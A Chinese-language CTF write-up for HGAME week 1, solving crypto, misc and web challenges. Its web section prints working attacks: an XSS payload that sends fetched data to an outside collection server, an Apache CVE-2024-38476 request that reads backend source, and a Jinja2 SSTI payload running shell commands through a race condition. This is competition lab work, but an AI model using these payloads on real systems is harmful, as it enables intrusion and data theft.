

HGAME week1 write up


队伍名称: re35T 队伍id: #000026

签到

TEST NC

NetCat 连接后ls看到flag文件, cat flag 得到flag

hgame{Y0uR-C4N_CoNNeCT_To_Th3_reMoT3-ENVlr0nmeNT-t0_G3t_fLAg0}



```
~ : nc — Konsole
ls
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
cd /flag
/bin/sh: cd: line 15: can't cd to /flag: Not a directory
cat flag
hgame{Y0uR-C4N_CoNNeCT_To_Th3_reMoT3-ENVlr0nmeNT-t0_G3t_fLAg0}
```

从这里开始的序章。

直接复制

CRYPTO

suprimeRSA

搜索程序中大数生成方式

$$p = k \times M + e^a \bmod M$$

根据2020 GKCTF Backdoor wp了解到此式子为弱素数生成公式, 是一个CVE漏洞简称ROCA

找到脚本分解n得到p和q正常解密RSA

```

from Crypto.Util.number import *
from gmpy2 import invert

p = 954455861490902893457047257515590051179337979243488068132318878264162627
q = 824752716083066619280674937934149242011126804999047155998788143116757683
e = 0x10001
enc=36516478828436407975229955135526763471823365676929028576079613765176999025302
8664857272749598268110892426683253579840758552222893644373690398408
n = p*q
phi_n = (p-1) * (q-1)
d = invert(e,phi_n)
dec = pow(enc,d,n)

print(long_to_bytes(dec))

```

得到flag

```

crypto1 > solution.py
9  phi_n = (p-1) * (q-1)
10 d = invert(e,phi_n)
11 dec = pow(enc,d,n)
12
13 print(long_to_bytes(dec))

re35t@127 ~/D/h/crypto1> python solution.py (base) 0 (0.003s) < 21:02
b'hqame{ROCA ROCK and ROLL!}'

```

sieve

分析程序，通过trick函数得到一个大数，进行RSA,因此只需还原p即可。trick中，

$$\begin{aligned}
 mul &= k! \\
 k - (mul \bmod k) - 1 &= 0 \\
 k! &\equiv k - 1 \pmod{k} \\
 k! &\equiv -1 \pmod{k}
 \end{aligned}$$

根据Willson定理得到判断k为质数，因此

$$trick(k) = \begin{cases} \varphi(k) + trick(k-1) + 1 & \text{if } k \text{ is prime} \\ \varphi(k) + trick(k-1) & \text{if } k \text{ is not prime} \end{cases}$$

也就是trick($e^2//6$)为 $\sum_1^{e^2//6} \varphi(k) + \varphi(e^2//6)$

对欧拉公式和，找到工具代码直接利用

```

#include<cstdio>
#include<map>

```

```

#include<ext/pb_ds/assoc_container.hpp>
#include<ext/pb_ds/hash_policy.hpp>
#define LL long long
using namespace std;
using namespace __gnu_pbds;
const int MAXN=5000030;
int N, limit=5000000, tot=0, vis[MAXN], prime[MAXN];
LL phi[MAXN];
gp_hash_table<int, LL>Aphi;
void GetPhi()
{
    vis[1]=1; phi[1]=1;
    for(int i=1; i<=limit; i++)
    {
        if(!vis[i]) prime[++tot]=i, phi[i]=i-1;
        for(int j=1; j<=tot&&i*prime[j]<=limit; j++)
        {
            vis[i*prime[j]]=1;
            if(i%prime[j]==0) {phi[i*prime[j]]=phi[i]*prime[j]; break;}
            else phi[i*prime[j]]=phi[i]*(prime[j]-1);
        }
    }
    for(int i=1; i<=limit; i++) phi[i]+=phi[i-1];
}
LL SolvePhi(LL n)
{
    if(n<=limit) return phi[n];
    if(Aphi[n]) return Aphi[n];
    LL tmp=n*(n+1)/2;
    for(int i=2, nxt; i<=n; i=nxt+1)
    {
        nxt=min(n, n/(n/i));
        tmp-=SolvePhi(n/i)*(LL)(nxt-i+1);
    }
    return Aphi[n]=tmp;
}
int main()
{
    GetPhi();
    scanf("%lld", &N);
    printf("%lld", SolvePhi(N));
    return 0;
}

```

```

from Crypto.Util.number import *
from sage.all import *
from sympy import nextprime
e = 65537
enc =
244929409747471413653014009978459273276644448166527803806948446666550615396785106
3209402336025065476172617376546

p = nextprime((155763335410704472+ prime_pi(715849728))<<128)
phi_n = p * (p - 1)
d = inverse_mod(e, phi_n)
n=p*p
m = pow(enc,d,n)
print(long_to_bytes(m))

```

得到flag

```

● re35t@127 ~/D/h/crypto3> sage solution.py
b'hgame{sieve_is_n0t_that_HArD}'

```

misc

Hakuya Want A Girl Friend

下载发现txt文件存储十六进制数，编写脚本变成二进制文件

```

with open("hky.txt","r") as hex_file:
    hex_data = hex_file.read().strip().replace(" ", "")

binary_data = bytes.fromhex(hex_data)

with open("output.bin","wb") as bin_file:
    bin_file.write(binary_data)

```

解析器打开发现头部有zip头

```

misc1 : hexedit — Konsole
00000000  50 4B 03 04 14 00 00 00 00 00 FB 71 3B 5A 00 00 PK.....q;Z..
00000010  00 00 00 00 00 00 00 00 00 00 05 00 00 00 66 6C .....fl
00000020  61 67 2F 50 4B 03 04 33 00 01 00 63 00 E3 05 43 ag/PK..3...c...C
00000030  5A 00 00 00 00 44 00 00 00 28 00 00 00 0D 00 0B Z....D...()
00000040  00 66 6C 61 67 2F 66 6C 61 67 2E 74 78 74 01 99 .flag/flag.txt..
00000050  07 00 02 00 41 45 03 00 00 20 EB D2 72 4C D9 60 ...AE... rL.
00000060  FD 6C DA 98 9E 22 85 63 45 00 5D C7 63 E1 71 46 .l...".cE.].c.qF
00000070  44 D2 81 0E 0B 9F 58 AD 2A E8 4D C0 0F 1D 13 0B D.....X.*.M....
00000080  66 E2 BB 41 A7 25 25 C5 4F C1 EF 2D 41 89 B4 50 f..A.%.0..-A..P
00000090  D7 22 43 2C 75 5A 90 43 CD 69 F3 60 3F 50 4B 01 ."C,uZ.C.i.`?PK.
000000A0  02 3F 00 14 00 00 00 00 00 FB 71 3B 5A 00 00 00 .?.....q;Z...
000000B0  00 00 00 00 00 00 00 00 00 05 00 24 00 00 00 00 .....$.flag
000000C0  00 00 00 10 00 00 00 00 00 00 00 66 6C 61 67 2F .....flag/
000000D0  0A 00 20 00 00 00 00 00 01 00 18 00 7F 4C A4 EB .. .....L..
000000E0  82 70 DB 01 00 00 00 00 00 00 00 00 00 00 00 00 .p.....
000000F0  00 00 00 00 50 4B 01 02 3F 00 33 00 01 00 63 00 ...PK..?.3...c.
00000100  E3 05 43 5A 00 00 00 00 44 00 00 00 28 00 00 00 ..CZ....D...()
00000110  0D 00 2F 00 00 00 00 00 00 20 00 00 00 23 00 ..#..
00000120  00 00 66 6C 61 67 2F 66 6C 61 67 2E 74 78 74 0A ..flag/flag.txt.

```

7z解压发现需要密码，进而发现zip只占文件前一小部分，猜测后面存在其他文件

拉到最后发现反过来的png

```

000755D0 C8 38 3F 66 0E F7 9D 53 BF 8F D8 C7 79 BB 7C D4 .8?f...S...y.|.
000755E0 73 6F 61 AC 7A C0 69 C0 59 C3 86 53 5C 75 DF 36 soa.z.i.Y..S\u.6
000755F0 4B 5E FF 2B BF DE A0 BD BD BD 82 F2 A3 E3 78 B5 K^..+.....x.
00075600 89 6E 35 B9 4B C8 A8 F8 94 D7 0D 29 CB CB CB 82 .n5.K.....)....
00075610 B9 C2 9F 4F 84 6D 3E BF FF 7F FB 7F EF 67 EE 6E ...0.m>.....g.n
00075620 6E A6 6E 2D A9 A9 A9 B6 1A 99 FC E0 0A B3 32 22 n.n-.....2"
00075630 73 F3 0B 75 77 7E D5 4F FE 73 3D 89 7D C9 6B 7B s..uw~.0.s=.}.k{
00075640 A8 D0 06 C8 64 46 64 65 24 22 92 1B C0 57 CD 6C ....dFde$"...W.l
00075650 6E C3 CF 90 43 F4 88 CC 68 03 40 6E EA AB DF 72 n...C...h.@n...r
00075660 D8 9E 07 A6 72 C9 25 92 89 FD DC 5E 78 54 41 44 ....r.%.....^XTAD
00075670 49 BA FF 00 00 05 61 FC 0B 8F B1 00 00 41 4D 41 I.....a.....AMA
00075680 67 04 00 00 00 E9 1C CE AE 00 42 47 52 73 01 00 g.....BGRs..
00075690 00 00 2D 28 72 A6 00 00 00 06 08 E4 02 00 00 40 ..-(r.....@
000756A0 02 00 00 52 44 48 49 0D 00 00 00 0A 1A 0A 0D 47 ...RDHI.....G
000756B0 4E 50 89  NP.
000756C0

```

编写脚本将文件反向得到照片

修改下高度发现一串文字，当作密码解压成功，得到flag


hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}

WEB

Level 24 Pacman

根据提示得知要拿到10000分

查看页面代码发现游戏通过game.js index.js 实现，index.js找到变量__SCORE



直接控制台修改内存，得到gift


```
> _SCORE=10000
```

```
< 10000
```

```
209 here is your gift:aGFldTRlCGNhXzR0cmdte19yX2Ftbm1zZX0=
```

[index.js:1](#)

base64解码后尝试凯撒加密解密，得到flag



Level 47 BandBomb


下载附件得到源码，采用express框架 multer中间件以及ejs模板

分析发现可利用代码

```
res.render('mortis', { files: files });
```

因此可上传ejs模板实现ssti但路径不会被解析

发现/rename路由存在目录穿越漏洞



得到flag

hgame{aVe_mujic4-haS-bRoK3N-uP-buT-w3-HAV3-uMIT4k137}

Level 69 MysteryMessageBoard

burp爆破shallot账户 得到密码为888888, 登录后发现可以留言, 留言内容会被写入html中

猜测应该是要写入js脚本, 然后通过访问/admin, 让无头浏览器触发xss

注入如下内容:

```
<script>
  fetch('/flag')
    .then(response => response.text())
    .then(flag => {
      fetch('http://myserver/collect?flag=' + encodeURIComponent(flag));
    })
    .catch(err => console.error(err));
</script>
```

在个人vps运行, 接收flag


```
from flask import Flask, request

app = Flask(__name__)

@app.route('/collect', methods=['GET'])
def collect():
    flag = request.args.get('flag')
    if flag:
        # 可以选择打印到终端或写入文件保存
        with open('flag.txt', 'w') as f:
            f.write(flag)
        return "OK", 200

if __name__ == '__main__':
    # 监听所有外部请求
    app.run(host='0.0.0.0', port=1009)
```


最终得到flag



Level 38475 角落

访问发现web框架为werkzeug, 猜测题目考点为flask jinja2 ssti 但并没有发现回显

用whatweb扫描靶机尝试发现有用信息, 发现服务器类型为apache 版本为2.4.59



找到https://httpd.apache.org/security/vulnerabilities_24.html发现该版本存在一系列cve

最终找到可利用漏洞CVE-2024-38476, 找到作者博客, 根据博客内容尝试攻击

先通过robots.txt得到存在/app.conf可访问文件，为apache httpd.conf文件，并且可以rce提权获取app.py

```
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
    Options Indexes
    AllowOverride None
    Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"
```

构造攻击指令，得到后端源码

```
curl http://146.56.227.88:32332/admin/usr/local/apache2/app/app.py%3F -H "User-Agent: L1nk/"
```

发现存在/read 可获得回显，但会过滤左花括号，编辑python脚本尝试通过条件竞争漏洞

```
import requests
import threading
import time

# 写入日志到文件的函数
def log_to_file(message):
    with open("output_log.txt", "a") as log_file:
        log_file.write(message + "\n")

# 模拟向 /send 端点发送请求
def send_message():
    url = "http://node1.hgame.vidar.club:31188/app/send"
    data = {'message': "{lipsum.__globals__.__builtins__.__import__('os').popen('cat /f*').read()}" }

    # 发送POST请求
```



```

response = requests.post(url, data=data)
log_message = f"Send request status: {response.status_code}"

# 打印到终端
print(log_message)

# 记录日志到文件
log_to_file(log_message)

# 模拟向 /read 端点发送请求
def read_message():
    url = "http://node1.hgame.vidar.club:31188/app/read"

    # 发送GET请求
    response = requests.get(url)
    log_message = f"Read request status: {response.status_code}, Response: {response.text}"

    # 打印到终端
    print(log_message)

    # 记录日志到文件
    log_to_file(log_message)

def simulate_race_condition(num_requests):
    # 创建多个线程来并发访问 /send 和 /read 路由
    threads = []

    # 启动多个发送请求和读取请求的线程
    for _ in range(num_requests):
        send_thread = threading.Thread(target=send_message)
        read_thread = threading.Thread(target=read_message)

        threads.append(send_thread)
        threads.append(read_thread)

        send_thread.start()
        read_thread.start()

    # 等待所有线程完成
    for thread in threads:
        thread.join()

# 执行模拟
simulate_race_condition(30)

```

最终得到flag

```

Read request status: 200, Response: waf!!
Read request status: 200, Response: waf!!
Read request status: 200, Response: Latest message: hgame{y0U-fInD_thE_KEY-t0-rRR4ce_oUUUUt1e13518}

Read request status: 200, Response: Latest message:
Read request status: 200, Response: Latest message:
Read request status: 200, Response: Latest message: hgame{y0U-fInD_thE_KEY-t0-rRR4ce_oUUUUt1e13518}

```

